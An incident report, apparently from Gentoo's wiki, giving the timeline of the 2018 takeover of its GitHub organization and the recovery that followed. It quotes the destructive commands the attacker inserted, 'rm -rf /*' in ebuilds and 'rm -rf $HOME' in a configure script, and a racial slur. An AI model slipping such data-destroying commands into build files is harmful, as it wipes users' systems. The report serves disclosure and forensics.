Project:Infrastructure/Incident reports/2018-06-28 Github

Incident Metadata

 * Status: Open
 * Incident Commander: Robbat2
 * Incident Backups: Mgorny, Antarus
 * Communications: Antarus, Dilfridge,
 * Private Incident Page: (for infra only): https://infrawiki.gentoo.org/github-2018-06-28

Incident Summary
An unknown entity gained control of the GitHub Gentoo Organization and removed all access to it from Gentoo developers. They then proceeded to make various changes to content. Gentoo Developers & Infrastructure escalated to GitHub support and the Gentoo Organization was frozen by GitHub staff. Gentoo have regained control of the Gentoo Org on Github. As there is a fair bit of mess there, we have elected to hide it (so users who are using GitHub as a mirror do not hit problems.) The current plan of record is to clean the mess and then make the repos public again. The malicious commits has been removed, but the PR changes are still being worked on.

What you can do
If you are a Gentoo user, you should consult status on the infra-status site; it contains the up-to-date status and has instructions

Reporting information
If you have relevant information please join #gentoo-infra on FreeNode. Ping one of the incident staff for access.

Known Malicious content
The following commits were known to be introduced by the unknown entities.
 * gentoo/gentoo, master branch:
 * e6db0eb4 (force-push)
 * afcdc03b
 * 49464b73
 * fdd8da2e
 * gentoo/musl, master branch:
 * e6db0eb4 (force-push)
 * gentoo/systemd
 * c46d8bbf (force-push)
 * 50e3544d
 * If anybody has a copy of this commit, we would appreciate it for forensic purposes.

Definitive Timeline, without PII
The PII has been redacted. The formal copy of this timeline is in the InfraWiki, with higher resolution timestamps.

TODO

 * Capture timeline of Incident Command shift handoff
 * Capture timeline of emails with GitHub
 * Capture timeline of GitHub staff actions.
 * Capture timeline of Gentoo Infra security review actions
 * Focus on review actions of compromised account
 * Public + Private commits of last 90 days or longer
 * LDAP authentication
 * Email authentication
 * SSH authentication

2018/04/08 - 20/18/06/27

 * Logs indicate that various GitHub accounts were probed looking for vulnerable accounts.

2018/06/28

 * 20:05:xx 2nd to last known legimate commit to gentoo/gentoo. Matches git.gentoo.org/repo/gentoo.git
 * Auto-pushed by mirror bot.
 * Commit ID 38281f4252f89e3ef9cbae54dfc1ad553d296979
 * 20:08:xx Last known legimate commit to gentoo/musl. matches git.gentoo.org/proj/musl.git.
 * Commit ID 60461ca1385809bacf6a114a7f1ecfe22f6da47f
 * 20:19:xx Attacker tries a bad password on the account.
 * 20:19:xx Attacker successfully gains administrative access
 * 20:25:xx Attacker invites a dummy account to the org
 * 20:25:xx Attacker creates a dummy account with administrative access.
 * 20:25:xx Last known legimate commit to gentoo/gentoo. Matches git.gentoo.org/repo/gentoo.git
 * Auto-pushed by mirror bot.
 * Commit ID 73b724093b9c2a8756b8c35d3e09793342fa9ca9
 * Does NOT appear in the GitHub audit log for the org.
 * 20:25:xx Attacker starts removing valid users
 * 20:26:xx Earliest email timestamp of someone being removed from the organization.
 * 20:29:xx First person notices that something is going on with the GitHub organization
 * 20:30:xx Attacker invites a second malicious user.
 * 20:32:xx Attacker adds second malicious user with admin privileges.
 * 20:34:xx Malicious commit to gentoo/gentoo, 73b72409-&gt;fdd8da2e
 * adds readme.me file with text niggers.
 * 20:36:xx First report to Infra that something is going on with the GitHub organization.
 * 20:38:xx Malicious commit to gentoo/gentoo, fdd8da2e-&gt;49464b73.
 * adds rm -rf /*&amp; at the top of skel.ebuild
 * 20:39:xx Attacker changes billing email, the first time.
 * 20:45:xx Malicious commit 49464b73 is first noticed
 * 20:50:xx Malicious commit to gentoo/gentoo, 49464b73-&gt;afcdc03b.
 * adds rm -rf /* at the top of every ebuild.
 * 20:48:xx Attacker changes billing email, the second time
 * 20:49:xx First abuse report to GitHub support
 * 20:51:xx Infra's informal contact to GitHub via multiple personal channels
 * 20:53:xx Second abuse report to GitHub
 * 20:55:xx Malicious commit to gentoo/gentoo, afcdc03b-&gt;e6db0eb4, force-push.
 * Squash of entire history as of afcdc03b (rm -rf /* in ebuilds)
 * 20:56:xx Malicious commit to gentoo/musl, 60461ca1-&gt;e6db0eb4. Force-push.
 * Same history as gentoo/gentoo in a squashed commit.
 * 21:00:xx (approx) GitHub informal report that they are starting to look
 * 21:05:xx Infra's formal ticket to Github Support
 * 21:07:xx Malicious commit to gentoo/systemd, bf0e0a4d-&gt;50e3544d.
 * Content of 50e3544d unknown at this time.
 * 21:11:xx Malicious commit to gentoo/systemd, 50e3544d-&gt;c46d8bbf. Force-push.
 * Revert of bf0e0a4d w/ a slightly obfuscated rm -rf $HOME ~/ at the top of the configure script.
 * 21:28:xx Github support responds; Gentoo Github org frozen.
 * 22:45:xx GitHub locks suspected entry point
 * GitHub does not disclose this Gentoo, it's found in an audit log of the compromised user's account on 2018/06/29-14:30:18Z
 * 23:35:xx Github provides limited access to the org to Gentoo.
 * 23:40:xx Gentoo determines which account was the entry point. Gentoo Infra preemptively removes all access for that account from primary Gentoo properties (git repos, bugs, email, etc.)

2018/06/29

 * TODO capture events in period.
 * 05:27:xx Gentoo Infra restores billing email.
 * 06:57:xx Gentoo Infra does force-push on gentoo/systemd to restore state. c46d8bbf-&gt;bf0e0a4d.
 * 06:58:xx Gentoo Infra does force-push on gentoo/gentoo to restore state. e6db0eb4-&gt;73b72409.
 * Push takes several minutes due to size.
 * 06:59:xx Gentoo Infra does force-push on gentoo/musl to restore state. e6db0eb4-&gt;60461ca1.